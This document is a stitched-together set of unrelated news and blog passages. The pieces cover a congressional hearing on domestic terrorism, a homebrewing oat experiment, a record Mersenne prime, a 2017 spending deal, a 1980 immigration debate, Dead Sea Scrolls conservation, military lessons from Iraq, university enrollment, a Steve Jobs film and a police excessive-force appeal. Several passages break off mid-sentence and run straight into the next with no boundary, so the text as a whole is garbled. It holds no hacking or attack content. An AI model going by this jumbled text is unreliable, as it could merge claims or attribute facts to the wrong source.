"I think we should focus a lot on domestic terrorism also. So I would like to ask again, given all that you have said about how difficult it is and the privacy concerns, do you have any thoughts about what we can do to begin to deal with the KKK, the white nationalists, the - the extremists, the Alt-Right?" Waters asked.
"They're on the internet, Breitbart, if you look at YouTube, you see how much they want to kill me and others. What can we do? Anybody, any one of you," Waters said.
REP. MAXINE WATERS (D-CA): Thank you very much, Mr. Chairman.
In the years since 9/11, our nation has witnessed its share of attacks by homegrown violent extremists, inspired by foreign terrorist organizations. This includes the San Bernardino shooters, who tragically took the lives of 14, and wounded 21 others, as well as Pulse nightclub shooter, who callously to the lives of 49, and wounded another 53 innocent victims.
However, as the recent events in Charlottesville, which took the life of Heather Heyer and two VA state troopers, have reminded us, extremist radicalized by foreign terrorist groups are not the only terrorists with the capacity and will to target and kill American citizens. Indeed, domestic terrorist attacks have become more frequent in recent years.
I just took a look at what has happened since 1992. Ruby Ridge standoff, three killed, two wounded; Oklahoma City bombing, 168 killed, over 680 wounded; 2009 United States Holocaust Memorial Museum shooting, one killed, one wounded; 2012 Wisconsin temple shooting, killed six, wounded four; 2013 Los Angeles International Airport shooting attack on TSA officer, killed one, wounded six; 2015 Planned Parenthood shooting, killed three, wounded nine; 2017 Portland train attack, killed two, wounded one; Charlottesville car ram and attack, killed three, wounded 19.
And I'm worried about these domestic attacks. As a matter of fact, I was forced to focus on it a little bit more yesterday in my office in Los Angeles. One of the people opening the mail opened an envelope, and a bunch of powder fell out with a note about me dying, and killing Hillary Clinton, on, and on, and on.
This is getting more frequent. And I know that we have privacy concerns, and information sharing, and all of that. But I'm wondering, what can we do to get a handle or fix on these lone killers? And not simply just say we -- we throw our hands up, and we can't really do anything because of privacy concerns. And I'm wondering, particularly in our financial institutions and banks, et cetera, if questionnaires that does not invade privacy, but simply ask questions about what the intentions are for the use of certain money under certain circumstances, and those people can say whatever they |
/bitterness fade by the fourth day after kegging. I failed every triangle test I attempted. When tasting without my blindfold, I thought the batch brewed without oats tasted smoother, creamier. Alas, I couldn’t identify them after 3 rounds. My wife nailed the difference on the first try, she was able to pick up a difference in aroma. Four out of six tasters weren’t able to identify the different beer in the lineup either.
Discussion: What can be gained from this experiment? Not too much, sadly. With two variables present (change in gravity and oats v. no oats) it’s hard to tell who to blame if there are any difference in these beers. Despite failing all triangle tests, I felt that when I tasted them on tap a few weeks later, there was a slight but noticeable difference. One taster who got it right described the non-oat beer as being crisper and more refreshing. Interestingly enough, these beers are about 1% different in ABV – which makes me wonder at what point our palates can detect a change in ABV. Or perhaps enough of the crushed oat “meal” contributed just enough body that we think we have a slightly bigger beer on our tongues than we really do? As always, the fun of experimentation is that we are left with more questions than answers. Especially since this trial didn’t lend us any answers.
The reader will probably notice that there were only 6 tasters. I only included people who took the test in a controlled environment. One other flaw in my system was having the beer in its prime during the third week of December. By the time I was able to rally enough people into trying the beer, it had peaked and gone. Our local homebrew club doesn’t do formal meetings Dec/Jan. Not that extra time would have changed the variable too much (or would it?), but someone in our house seems to drink me out of anything close to a NEIPA quite often. (Looking at you, honey.) Next time I plan to bring the experiment to our homebrew club for maximum tasters.
Thinking about the beer itself, it was quite drinkable, yet didn’t have the same smoothness and “juice”-factor that my other batches have had. I’m blaming that on the Equinox and Centennial instead of my usual Mosaic/Galaxy additions. I also didn’t really care for the strong bitterness – something that came from a 4.5oz addition of high AA hops at flameout. [This part I’ve already changed. My most recent NEIPA batch utilized a 3 part addition to the whirlpool and is fan-tas-tic.] The harsh bitterness faded in the month or so this beer was on tap, but sadly so did the hop punch.
If you’re looking to use oats in a beer, might I recommend to you the flaked variety. Using steel cut? Don’t forget your cereal mash. And if you experiment with your brewing – share it.SALT LAKE CITY — The Internet does a lot of things for us, from streaming movies to catching up with loved ones. However, few are aware that it helps us find the very building blocks of numbers themselves.
Wednesday it was announced that mathematicians in Missouri have discovered the largest known prime number yet, 257,885,161-1, a number so large that it has over 17 million digits. Storing this single number in an ordinary text file would take nearly 30 megabytes of storage.
Curtis Cooper and his team at the University of Central Missouri found the number using GIMPS, the Great Internet Mersenne Primes Search, which uses computers worldwide to crunch numbers and spit out primes, though years often pass before a new number is found.
The question is: Why does it matter? What's the big deal about primes? That's an immensely huge number, but why should anyone care?
Primes
Wednesday, a group led by Curtis Cooper found the 48th known Mersenne prime last month. It's the third such number discovered at the University of Central Missouri, an 11,800-student campus in Warrensburg, about 50 miles east of Kansas City. (Photo: University of Central Missouri)
Prime numbers are both incredibly simple and slippery as a Teflon-coated frog. All of us probably remember learning the basics. They are simple, because they are easy to define — any number that can only be divided by itself and the number 1 is a prime. Slippery, because they are rare, unevenly distributed among numbers and there is no fool-proof method for actually finding them.
But there's more to it than that. Prime numbers are absolutely central to mathematics. You might say they are the elementary particles of the mathematical world. All matter is made up of protons, electrons and other particles. All numbers are made up of primes.
As a matter of fact, the Fundamental Theorem of Arithmetic is all about primes. Pick a number, any number — there is one, and only one, set of prime numbers that produce that number when they are multiplied together. For instance, 1200. 3x2x2x2x2x5x5 = 1200. 3, 2, and 5 are all primes, and no other group of prime numbers will get you 1200 if you multiply them. Just like Hydrogen is made up of one proton and one electron, 1200 is made up of one 3, four 2s and two 5s, and that's just it.
So in searching for them, there's a sense that you are searching for what makes every other number among the infinite numbers that it is possible to make.
Still not convinced? You depend on primes every day.
Even if you don't care about the fundamental atoms of mathematics, you still use primes — probably every day — without knowing it. How? With encryption. Every time you buy something securely off the internet or send a credit card number or a PayPal invoice, you depend on primes.
Taking a large number and breaking it into primes is incredibly difficult, and takes time and massive computing power. So cryptologists will use a large number made up of only one or two "atoms," that is, prime numbers, and make it the key to decoding your information. If you know the prime factors, it's easy to decode; if you don't, it's nearly impossible to break the encryption.
Glory
For mathematicians, there is also a certain amount of glory involved. Finding primes these days is hard. Really hard. Small primes are easy, like 3, 5, 7, 11, 13 and so on. But the bigger they get, the more slippery they are. Thousands of computers working across the globe around the clock produce a new large prime number only once every few years.
"Every time I find one it is incredible," Cooper told the Associated Press. "I kind of consider it like climbing Mount Everest or finding a really rare diamond or landing somebody on the moon. It's an accomplishment. It's a scientific feat."
The greatest mathematical minds of all time have all done work on prime numbers, from Euclid, thousands of years a go, to Leonard Euler, to Copper. It's part and parcel of mathematics.
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Related StoriesDemocrats think they have set the stage to block President Trump’s legislative priorities for years to come by winning major concessions in a spending bill to keep the government open.
House Minority Leader Nancy Pelosi (D-Calif.) and Senate Minority Leader Charles E. Schumer (D-N.Y.) secured nearly $5 billion in new domestic spending by exploiting disagreements between Trump and GOP lawmakers over spending priorities.
Democrats’ lopsided victory on the five-month deal, which is likely to be approved this week, means it will be very difficult — if not impossible — for the GOP to exert its will in future budget negotiations, including when it comes to Trump’s 2018 budget blueprint.
That’s because Republicans are hopelessly divided over how much to spend on government programs, with a small but vocal minority unwilling to support such measures at all. That has forced Republicans to work with Democrats to avoid politically damaging government shutdowns.
And that means Democrats are in the driver’s seat when it comes to budget battles, even with Trump in the White House.
Vice President Pence credited President Trump with a key role in the spending deal, but many congressional aides said the president was unhelpful in reaching the agreement. (Jabin Botsford/The Washington Post)
“I think we had a strategy and it worked,” Schumer said in an interview with The Washington Post. “Democrats and Republicans in the House and Senate were closer to one another than Republicans were to Donald Trump.”
The extra money for domestic programs will now be that much harder to strip out of future budgets, and Trump’s priorities, such as money for a wall along the border with Mexico, could be more difficult to include.
“We can’t pass anything without them,” Sen. John Cornyn (R-Tex.), a top deputy to Senate Majority Leader Mitch McConnell (R-Ky.), said of Democrats recently.
Hill Republicans remain skeptical of, if not openly hostile to, many of Trump’s plans — including the wall and proposals to slash millions from programs such as the National Institutes of Health and foreign aid.
Democrats’ gains
In addition to the $5 billion in domestic spending, the bipartisan agreement released early Monday morning is packed with Democratic priorities, such as protection for funding for Planned Parenthood, a permanent extension of health care for coal miners and money to help Puerto Rico make up a projected shortfall in Medicaid.
Pelosi celebrated in a letter to House Democrats on Monday, saying that the measure “reflects significant progress defeating dangerous Republican riders and securing key victories for Democratic priorities.”
“In a defeat for President Trump, the [deal] does not fund the immoral and unwise border wall or create a cruel new deportation force,” Pelosi wrote.
Republicans argue they were able to wrest several wins in the legislation, including a greater increase in defense than domestic spending and an agreement to provide money for Puerto Rico if it was shifted from elsewhere and not new money. House and Senate leaders also believe that key changes to environmental policy were taken care of through the administrative process and that they can further antiabortion goals through other budget proceedings.
Nonetheless, Democrats are counting on GOP infighting over spending to guarantee that those parts of Trump’s agenda won’t be funded in the next spending deal, either.
[ What’s in the spending agreement? We read it so you don’t have to. ]
Republicans could try to craft a new agreement to govern spending after Sept. 30, with domestic cuts and funding for Trump’s wall. But such a measure would probably fail in the Senate, where Republicans hold a slim 52 to 48 majority, short of the 60 votes needed to pass most legislation.
Or, as they have often done in the past, lawmakers could abandon broad ambitions and decide to simply extend current spending levels, locking in Democrats’ policy victories for another year.
Republicans in Congress were unusually quiet about the deal. But White House aides sought to put a positive spin on areas where Trump fell short, including the wall.
“I think it’s great that the Democrats like the bill,” White House budget director Mick Mulvaney told reporters during a Monday briefing. “We thought it was a really good deal for this administration as well.”
He said the White House agreed not to “push for bricks and mortar for the wall” but to instead focus on fixing existing fencing and installing new lights and sensors on the border. Mulvaney was one of several top Trump aides who insisted that plans for wall construction would soon begin anew.
“Make no mistake, the wall is going to be built,” White House press secretary Sean Spicer said at his daily briefing, adding that there is plenty the administration can do to plan for construction between now and when Trump gets his next opportunity to secure funding.
But wall construction was one of several areas where GOP lawmakers’ decision to punt this week could doom the president’s priorities for the future.
Language in the deal explicitly prohibits money for border security from being used for building the wall, for instance. Trump has said he plans to revive the push this fall.
Both Spicer and Vice President Pence said they considered the $21 billion in additional military spending — $15 billion from an off-budget war fund and $6 billion in budget increases — to be their biggest victory, even though it was about two-thirds of what Trump had sought.
In addition, there were no reductions in funding to “sanctuary cities”; a federal judge said last week that the Justice Department needed congressional approval to follow through on its threats to cut money for such places, which don’t comply with federal immigration authorities. Nor was there money to fulfill Trump’s promise of a hiring spree to build a deportation force at Immigration and Customs Enforcement.
Trump also agreed to continue paying Affordable Care Act subsidies after his aides threatened last week to use that issue as a bargaining chip. The subsidies, which go to insurance companies, reduce out-of-pocket expenses for low-income people who get coverage under President Barack Obama’s signature domestic initiative.
President’s role disputed
Pence celebrated the deal Monday, saying Trump himself played a key role in reaching it.
“I think this morning’s announcement about reaching a bipartisan deal on the budget says that the American people can be encouraged that Washington is working again, thanks to the strong leadership of President Donald Trump,” Pence said on “CBS This Morning.” “Thanks to his direct engagement with members of Congress, we’re seeing real progress.”
But Trump’s involvement was seen by many congressional aides as unhelpful to reaching a deal in the bipartisan talks. Negotiators were nearing an agreement on the spending portions and were ready to move on to unrelated policy measures when Mulvaney publicly renewed demands that the bill include money for a wall along the southern border.
Mulvaney’s demand was out of sync with GOP leaders, who long ago said they wouldn’t seek any funding for a wall or cuts to sanctuary city funding.
It also came weeks after Schumer personally told Mulvaney that the best way to avoid a government shutdown would be for the White House to stay out of budget negotiations and let Congress work its will, according to two people with direct knowledge of the conversation. Mulvaney nodded, they said, and proceeded to make the demand anyway.
His office did not return a request for comment on the subject.
Democrats also think that the White House created a public relations crisis when Trump threatened to end payments for the subsidies, which help cover about 6 million people under Obamacare. The president later withdrew the threat, and the White House decided to continue the payments, in hopes of reducing the number of sticking points in the spending bill.
But the president put a spotlight on the issue just as public polls were starting to show overwhelming support for the subsidies and the ACA in general. Democrats were thrilled to add the attack on the health-care law to the mix in the spending fight because they thought the public would blame Republicans if a deal couldn’t be reached to fund the government, according to several Democratic aides familiar with the strategy.
Read more at PowerPostPeople love to make up their own stories about American history, especially when it comes to politics. Sometimes it helps to go to the videotape.
SFGate, the digital arm of The San Francisco Chronicle, did us all the favor of digging up this clip from a debate for the 1980 Republican presidential nomination. The contestants? Future president George H.W. Bush, some guy who never gets to talk, and the patron saint of modern conservatism, Ronald Reagan.
From the get-go, you know this is not a 2016 debate. First of all, the town-hall style question actually comes from the audience, not a pre-screened Facebook video. (A young Texan asks the trio whether illegal aliens—a term apparently already in vogue—should be able to attend Texas public schools for free, as citizens do.) Second, the candidates actually defer to each other as to who gets to answer first, rather than jump at the chance to bite someone's head off.
But then, of course, there's the substance of their responses. Bush starts it off, calling for a more comprehensive solution to the problem of illegal immigration, something that still eluded Congress 33 years later:
"I'd like to see something done about the illegal alien problem that would be so sensitive, and so understanding about labor needs, and human needs, that that problem wouldn't come up. But today, if those people are here, I would reluctantly say they would get whatever it is, what society is giving their neighbors. But the problem has to be solved... We're creating a whole society of really honorable, decent, family-loving people that are in violation of the law, and secondly we're exacerbating relations with Mexico. The answer to your question is much more fundamental than whether they attend Houston schools, it seems to me. I don't want to see... six- and eight-year-old kids, being made, you know, one, totally uneducated, and being made to feel that they're living outside the law. Let's address ourselves to the fundamentals. These are good people, strong people. Part of my family is a Mexican."
Imagine someone pulling that commie crap today at a Republican debate. He'd probably get deported on the spot. Keep in mind, this is now a party with a Congressional leader—and kingmaker in the early primary state of Iowa—who refers to people who cross the Southern border illegally as "deportables."
But then it's Reagan's turn.
"I think the time has come that the United States and our neighbors—particularly our neighbor to the south—should have a better understanding and a better relationship than we've ever had. But I think that we haven't been sensitive enough to our size, and our power. They have a problem of 40 to 50 percent unemployment. Now this cannot continue without the possibility arising—with regard to that other country that we talked about, of Cuba and everything it is stirring up—of the possibility of trouble below the border. And we could have a very hostile and strange neighbor on our border."
So there's some Cold War boogedy-boogedy, but it at least makes some logical sense. He continues:
"Rather than making them, of talking about putting up a fence, why don't we work out some recognition of our mutual problems, make it possible for them to come here legally with a work permit, and then, while they're working and earning here, they pay taxes here. And when they want to go back they can go back, and cross. And open the border both ways, by understanding their problems. This is the only safety valve they have right now, with that unemployment, that probably keeps the lid from blowing off...And I think we could have a fine relationship."
Work visas? Open borders? Understanding that migrant workers are responding to larger economic forces that play a defining role in where prosperity—or even a steady job—can be found? This is the kind of talk you'd expect from someone who'd grant amnesty to illegal immigrants already in the U.S., which, of course, Reagan did.
The most striking thing at work here, though, is the overwhelming compassion and humanity of the candidates' tones and solutions. These are not dark forces slipping through the border to undermine the American way of life, they're people seeking work. And since when do we care about relations with Mexico? I thought we were going to build a wall and make them pay for it.
Now remember Ted Cruz's responses to these questions. Think of how H.W.'s own son, whose wife is the Mexican in the family who's referenced above, has been forced to respond to so far (barely) survive the nomination process. Times they are a-changin'.I feel a great responsibility. In the morning when I see on my table something so fragile and broken and then after my work it’s made stronger, it gives me a lot of happiness.
Editor's note: KSL senior producer Candice Madsen and a team from KSL-TV traveled to Jerusalem to view the meticulous care needed to bring the Dead Sea Scrolls to Salt Lake City.
JERUSALEM — On a departing flight from Tel Aviv earlier this month, excitement buzzed among flight attendants aware of the special cargo on board headed to Salt Lake City.
A few passengers may have noticed the security detail that accompanied a woman to the gate. But the nondescript bags she was carrying could have contained clothing or toiletries or any item one might take on a trip, drawing no attention to the priceless artifacts inside.
“Oh my gosh, I can’t believe the Dead Sea Scrolls are on this plane,” said one crew member. “I can’t wait to tell my kids.”
Awe, wonder and mystery still surround the 2,000-year-old Dead Sea Scrolls, "thought to be the archeological discovery of the 20th century,” said Pnina Shor, curator and the head of Dead Sea Scrolls Projects. “We are talking about a corpus of over 900 manuscripts that include all of the books of the (Hebrew) Bible except for the book of Esther.”
A Bedouin shepherd looking for his goat discovered the first set of scrolls in 1947 in a cave at Qumran in the West Bank, about a mile inland from the northwest shore of the Dead Sea. It is here where archeologists unearthed scrolls in 11 caves over a decade.
The Israel Antiquities Authority granted KSL Television access inside the Dead Sea Scrolls lab in Jerusalem to see the work that goes into preserving, protecting and preparing the ancient texts for display, and inside the caves where the scrolls were found.
Many tourists visit the Qumran ruins where people lived, but few venture up to the caves where the scrolls were found. At Cave 1, expansive desert views stretch to the Dead Sea and provide a constant reprieve from the sun.
Dozens of birds take refuge there and centuries worth of bat dung covers the rocks and walls. But the cave itself is not very deep.
The scroll jars rested undisturbed, their lids sealed until a shepherd threw a rock in the cave. Instead of hearing the reverberation of the rock against the cavernous walls, he heard a gigantic crash.
“I like to call it the big crash that started the entire investigation and discovery of the scrolls,” said Shalom Paul, professor emeritus at Hebrew University and Chair of the Dead Sea Scrolls Foundation. “Let’s call it in modern terms the Big Bang.”
The seven scrolls were the best preserved and are on display at the Shrine of the Book at the Israel Museum. Archeologists discovered 90 percent of the scrolls amongst the rubble in Cave 4, which is the cave closest to where people lived and may have been a repository.
"When we talk about the scrolls, we are really talking about (thousands of) fragments," said BYU professor David Seely, who helped translate the scrolls and is currently teaching at the BYU Jerusalem Center. There is a theory that Romans may have found the cave and jumped up and down on the scrolls "to help along the destruction process," Seely said.
Seely says inside the cave you can see "where the shelves were anciently and where these scrolls were stacked and organized in some way."
The desert air with its low humidity and 68- to 70-degree temperatures, combined with the caves' dark environment preserved the scrolls for centuries. But human handling quickly took its toll.
The first scholars attached them to glass with cellophane tape, which caused irreversible damage. Now the Israel Antiquities Authority balances preserving the scrolls with the desire of the public to view the treasure, which, beginning Friday, will be available to those who visit The Leonardo museum in Salt Lake City.
Preparing the scrolls
The Shrine of the Book exhibit in Jerusalem uses a rotation system. After a scroll has been displayed for a few months, it is removed and placed in a special vault where it "rests" from exposure.
When the scrolls are made ready for travel, no one ever touches the parchment surface. Cleaning and treatment is done from the back through Japanese tissue paper. The scrolls travel in a carefully designed case — skillfully suspended between two pieces of polyester mesh, with the precise stitch work nearly invisible to the eye.
“I feel a great responsibility,” said conservator Tania Bitler as she worked on a condition report for the scrolls she would hand-carry to Salt Lake City. “In the morning when I see on my table something so fragile and broken and then after my work it’s made stronger, it gives me a lot of happiness.”
The lab is located on the grounds of the Israel Museum. All the doors have digital locks, with most of the work done in a stark white room with special lighting that does not harm the scrolls.
A photography room used to take infrared pictures is down the hall.
“You can see almost everything. You can see what it is made from,” said photographer Yair Medine who uses a specially crafted lens, one of the best in the world. “A lot of questions are being solved just by being able to look at the video at this quality.” Slides from the 1950s caused confusion because it was hard to differentiate shadows from ink.
Few people in the world have the skill set required for the delicate treatment process the scrolls require. All of the conservators here are women who left Russia during perestroika. Shor said she had to talk one of them out of retiring because no one else could do her job.
When the scrolls go on exhibition, Shor and several conservators deliver and personally place each scroll in a specially designed table that controls temperature and humidity. It is a complicated process. The table is monitored for two weeks before the scrolls arrive. Once they arrive, the scrolls are acclimatized in a vault for at least 24 hours, with readings taken every 15 minutes.
Shor’s team has been working on the scrolls for 20 years, and 40 percent still needs to be treated and repaired.
“Conservation is a young science,” Shor said after arriving in Salt Lake City while Bitler worked on placing a scroll inside the table at the Leonardo exhibit. “We are taking the most severe attitude because policies are made for the most sensitive material.”
Shor said they had originally hoped to bring the scrolls to Utah during the 2002 Winter Olympics but the 9/11 terrorist attacks curtailed those plans. BYU hosted a small Masada, Dead Sea Scrolls exhibit in 1997, but this is the first time scrolls from Qumran will be shown in Utah.
Paul and Shor lauded the instrumental role BYU has played in the translation, digitization, indexing and advancement of the understanding of the meaning of the scrolls.
Donald Parry, a professor of Hebrew Bible at BYU, translated the Books of Samuel and has authored 15 volumes on the Dead Sea Scrolls. He was instrumental in bringing the exhibit to Salt Lake City.
“This exhibit is far beyond my best hopes. I had tried to reach for the stars in the planning process and they gave us a galaxy,” said Parry. “It is Israel at our door step.”
He said, “This is what they looked like at the time of Jesus and the Apostles. The Biblical text are a thousand years older than the previously known Hebrew Bible.”
Dana Pike and Andrew Skinner were also members of the international team of editors of the Dead Sea Scrolls. Scott R. Woodward helped establish a lab at Hebrew University to analyze the DNA of scrolls fragments and other archaeological artifacts.
When the exhibit was announced in April, Israeli Consul General David Siegel told the Deseret News the exhibit would be a reflection of Utah’s long-standing relationship with Israel, a “hugely significant moment for Israel, for Utah, for our shared past, for our shared faith and our shared future.”
Ten scrolls will be displayed at a time during the Leonardo museum. The IAA will come back in February with a new set of 10. Two scrolls in each session have never before been seen by the public.
“I think people in Utah will be delighted to see these. There is something about the actual fragment, no matter what fragment it is,” said Seely. “They all have a little history.”
The people
Scholars believe the majority of the scrolls were written between 200 B.C and 200 A.D. The Dead Sea Scrolls: Life and Faith in Ancient Times exhibit at The Leonardo will give visitors the chance to see the largest collection of scrolls and Holy Land artifacts ever assembled outside of Israel.
“The idea is to show the complete story and give the background,” said Debora Ben Ami, Iron Age collection curator at the IAA, while crews worked on finishing construction of the Salt Lake exhibit. “These are not just artifacts, they represent people's lives and their spiritual evolution."
The scrolls contain the library of a Jewish sect called the Essenes. The Essenes left Jerusalem to live a purer life. Seely said little was known about this group prior to the discovery of the scrolls.
“They provide context of the world of Jesus. We find out there was a rich variety of Judaism at that time that had lots of views similar to Christianity, explained Paul. Before the Scrolls were found there was no literature that could point to roots of Christianity in Judaism. “The discovery is amazing, and I feel an affinity towards them because you see the Bible in its developmental stages.”
The Dead Sea Scrolls also shed light on the rules and beliefs of the Essenes. Daily routines revolved around ritual baths, a practice not followed by other sects of Judaism. "They believed in purification. Everything must be pure," said Dr. Uzi Dahari, deputy director for archaeology for the IAA.
Only the people considered most pure were allowed to live inside the compound at Qumran. Everything had to be pure, including perhaps the dishes. One of the first mysteries archeologists unearthed were thousands of bowls. And some of those bowls are part of the exhibit.
Another focal point of the exhibit is an 8-ton section of the Western Wall, which is one of the last remnants of Israel’s holy temple.
BYU has also provided additional artifacts, and a display will showcase how local innovation contributed to the work done on the scrolls.
The exhibit
The exhibit opens to the public Friday. General admission is $23.95. Discount prices are available for students, seniors, youth and military. Since this is a popular exhibit, patrons are encouraged to buy tickets online and sign up for a specific entry time.
Candice Madsen is a senior producer of special projects for KSL-TV and produces the weekly television program Deseret News Sunday Edition. EMAIL: [email protected]This article originally appeared in the March 2006 issue.
Of all the lessons he's learned in this war, the most important one to Marine Lieutenant General James Mattis is this: Winning this war is mostly about not losing friends along the way. In the run-up to the invasion of Afghanistan in the fall of 2001, General Mattis was charged with setting up an air base in Pakistan to make the movement of marines into the theater possible. To clear the way for the airstrip, he flew to Islamabad and sat down with the Pakistani joint headquarters staff, a meeting that was mostly taken up with a litany of offenses the Americans had committed against the Pakistanis. "It started with the shoot-down of Francis Gary Powers, who flew out of Peshawar, and goes on about how many times our country has screwed theirs," says Mattis.
"Finally, after three hours, I said, 'I surrender. I am going to Afghanistan. Now, are you going to help me or not?'
"I said, 'I want to bring the ships in next to the beach. I want to land stuff across the beach. I have an airstrip nearby where I can fly stuff in and out. I want an intermediate support base where I can put some fuel. And by the way, here is H-hour, D day, and my objective.' The Pakistanis knew it all three weeks in advance and never revealed one word."
But in Pakistan at the time, Osama bin Laden was polling much better than George W. Bush, and the Pakistanis had problems with Mattis's plan.
"They said, 'No, you don't get that place, but we will give you this one. If you can get ten miles over the sand dunes, you can use this civilian airstrip. You can hide your gear in the daytime. We will put troops around it and guard it.' They could not admit publicly that they were doing this. If we can't go in and not create repercussions, if we can't be sensitive to that, if we cannot tread lightly on our friends to reassure them, then there would have been secondary explosions."
U.S. troop members patrolling through the Restive Babil Province of Iraq. Getty Images
So the operation would have to be totally invisible, operating by moonlight. By day, a normal beach and a dinky desert airstrip. By night, the landing of a major invasion force and the beginning of Washington's global war on terrorism. Mattis's boss at the time, Navy Admiral William Moore, took the highly unusual step of giving the marine officer command of a naval task force—that is, a bunch of navy ships—and Mattis went to work: "We bring the ships in after dark. We land across the beaches, and when the sun came up, there was just the waves washing some tire tracks away. [The Pakistani government] even brought newsmen down who said they were helping us. They said, 'Look, there are no Americans on the beach.'
"At night I brought the ships back in, and night after night we hid the stuff in the sand dunes. And in would come KC-130's, Air Force C-17's, to pick us up and fly into Afghanistan. We just kept moving against the enemy, and it worked like a champ. You know, the Chinese say that if you drink the water, you ought to thank the guy who dug the well... If we had gone in there and screwed Pakistan, then we lose."
Presidents and secretaries of defense call the big shots, but it's the generals who turn the cranks—and suffer the consequences. If in this global war on terrorism the White House has been slow to learn lessons, reluctant to admit mistakes, and incompetent at adapting to changing realities, those prosecuting the war, those living and dying it, have no such luxury.
Now three years in Iraq, the commanders whose job it is to actually fight the "thinking enemy," ever-changing and increasingly sophisticated, have had to adapt on the ground to survive. What, exactly, have they learned?
Two very important lessons from which all other lessons flow, it seems. First, that the strategic concepts that have kept America safe no longer apply in this new war. In the Cold War, the United States had a strategic triad of nuclear missiles that could be delivered from the air, the ground, and the sea, and that threat to devastate the Soviet Union was how we deterred the East from ever launching war against the West.
But that security is gone in a global war on terrorism. What country would we blow up with nukes if Al Qaeda killed ten thousand people in the Mall of America next week? This profound realization meant that strategy for the basic defense of the country had to be reconceived.
What country would we blow up with nukes if Al Qaeda killed ten thousand people in the Mall of America next week?
Second, this is going to be a long war. In the two dozen interviews conducted with top American military officials for this article, the overwhelming consensus is that the boys are not coming home, that these conflicts will not be ending anytime soon. In fact, the generals have taken to calling Washington's war on terrorism the Long War.
This vision has huge implications for the U. S. military as a whole, but especially for the Army, which has long viewed war as an episodic, high-intensity event followed by a lengthy period of peace, during which the force can recover and regenerate its strength for the next fight. The Long War features no such downtime, nor opponents who array themselves as our Army has for the past century: frontline troops at the ready and reserve units at significantly lower states of readiness—especially in terms of equipment.
In the Long War, then, the Army faces a dramatically new requirement not unlike that long managed by the U. S. Navy—the ability to keep a significant portion of its force deployed overseas continuously (as opposed to simply garrisoned in places like South Korea or Germany).
So when the Army chief of staff, General Pete Schoomaker, put his service on the path of this Long War, it meant he suddenly had to bring the entire Army up to frontline status, addressing what were suddenly huge shortfalls in equipment. It also meant that he had to completely reconceive of the Army as a fighting force.
The Army's ten active-duty divisions have for a century been structured like mini-armies unto themselves, full of all sorts of particular combat and support brigades. The only way to send over competently arrayed troops was to deploy entire divisions at a time, and that simply won't work in a Long War.
So Schoomaker made a decision immediately after becoming Army chief of staff in the summer of 2003. Just as the invasion of Iraq was completed and the American occupation was beginning, he decided to reformat the entire U. S. Army and its reserve components over the next several years, turning divisions into mere command units and "modularizing" the entire force so that each brigade will soon be largely interchangeable with all others, allowing divisions to deploy overseas with mix-and-match brigades, all of which are self-sustaining combat teams containing all the same supporting units that previously were aggregated only at the division level.
Iraqi General Mohammed Latif, head of the Fallujah Brigade, with US Marines General James Mattis during a joint press conference in 2004 during which Latif said that the city of Fallujah is Getty Images
And as the war became the occupation, Schoomaker and others realized something else: The military processed its lessons learned from combat experience at an excessively leisurely pace, given the new global security environment. "Lessons learned" commands would become a top priority, and three generals, one Marine and two Army, would be brought back from Iraq to teach soldiers what they need to know to fight wars of the future. In the past, such lessons would prove valuable only to soldiers of the next war; this time, in this Long War, casualties could be great, so it would be the goal of these generals to learn these lessons and have them reflected in the training almost on a daily basis.
Each had already learned his own hard lessons in Iraq. William Wallace conquered Baghdad but likewise oversaw its disastrous looting. David Petraeus worked the sheikhs well enough but let a horrifically efficient insurgency build on his watch. James Mattis didn't lose a sailor or marine during his nation-building stint in the south, only to send a host of marines to their death in Falluja.
So all of these lessons would be born of failure. All cost blood.
All of these lessons would be born of failure. All cost blood.
In 1983, American ground forces invaded the tiny Caribbean island of Grenada, with pitiful results. The services of our mighty military machine didn't have the foggiest idea how to fight alongside one another, and if the Grenadans had offered any greater resistance than a few Cuban soldiers and the island's constabulary force, we might have lost. This embarrassment triggered the progressive integration of the four services' combat operations, or the concept now known as jointness.
The war in Iraq has been and will continue to be a similar cause for self-examination by the American military. As General |
There are a lot more students at University of Prince Edward Island than there were 10 years ago, and the population is more diverse, according to a new report from the Maritime Provinces Higher Education Commission.
There are more graduate students, more international students, and the proportion of women attending the university is also growing.
The number of international students at UPEI is up 120 per cent over the last decade. (UPEI)
Growth at the school exceeded the Maritime average in almost every category. One exception is in the number of men enrolled. That number grew only 4.8 per cent over the last decade on P.E.I., as opposed to 9.9 per cent in the region. Over the same period, the number of women enrolled was up 29.1 per cent. Women now make up 63 per cent of the student body.
The number of graduate students at UPEI was up 142 per cent, as compared to 40 per cent across the Maritimes. This would be due in part to a number of new graduate programs launched over the last decade.
The number of international students at UPEI more than doubled in the last decade. The top five countries sending students to the school are China, the U.S., Saudi Arabia, Nigeria and Japan.In a shocking development, the Aaron Sorkin-scripted film about Apple genius Steve Jobs has been put in turnaround by Sony Pictures, and Universal Pictures is making a strong play for the movie. The film, an adaptation of the bestselling Walter Isaacson biography, has Slumdog Millionaire‘s Danny Boyle set to direct, with Michael Fassbender recently courted to play Jobs. The film is produced by Scott Rudin, Christian Colson, Mark Gordon and Guymon Casady.
Despite Aaron Sorkin's Steve Jobs movie being in the casting process and moving towards full fledged production, Sony Pictures has dropped the movie and put it "in turnaround", which allows another large studio to purchase the movie and take over, reports Deadline. The report also notes that Universal Studios is the likely landing destination for the film.It's unknown why Sony Pictures, who has been developing the movie for two years, would drop the film as it is about to wrap up casting and enter production, but Deadline reports that Universal Studios is keen on picking up the movie and may do so by tomorrow. It is rare for a well-known project to be dropped by a studio and made available for rival studios to purchase.As reported by Deadline, the film is unlikely to lose any momentum if it's picked up by Universal Studios, which suggests the movie will likely move forward with the filmmakers' current plans.Recently, Christian Bale also dropped out of the film because he reportedly felt he was not right for the part. X-Men: First Class actor Michael Fassbender has been rumored to be the frontrunner for the role with Sorkin saying that casting announcements are imminent According to The Hollywood Reporter, one reason Sony might've dropped the film was due to the shooting schedule. Director Danny Boyle wants to shoot in January 2015, when Michael Fassbender would be available, while Sony wanted to shoot later. A later date would be difficult for Fassbender as the actor has a commitment to shoot X-Men: Apocalypse in Spring 2015.EUGENE, Ore. (AP) The state is asking a federal appeals court to review a case involving an Oregon State Police trooper found to have used excessive force after he kicked a Eugene motorcyclist.
The Oregon Department of Justice has filed a notice with the 9th U.S. Circuit Court of Appeals seeking a review of a jury's finding that Capt. Rob Edwards violated Justin Wilkens' civil rights in the 2012 incident, the Register-Guard reports.
Wilkens filed an excessive force lawsuit against Edwards in 2014 and was awarded more than $180,000 in damages.
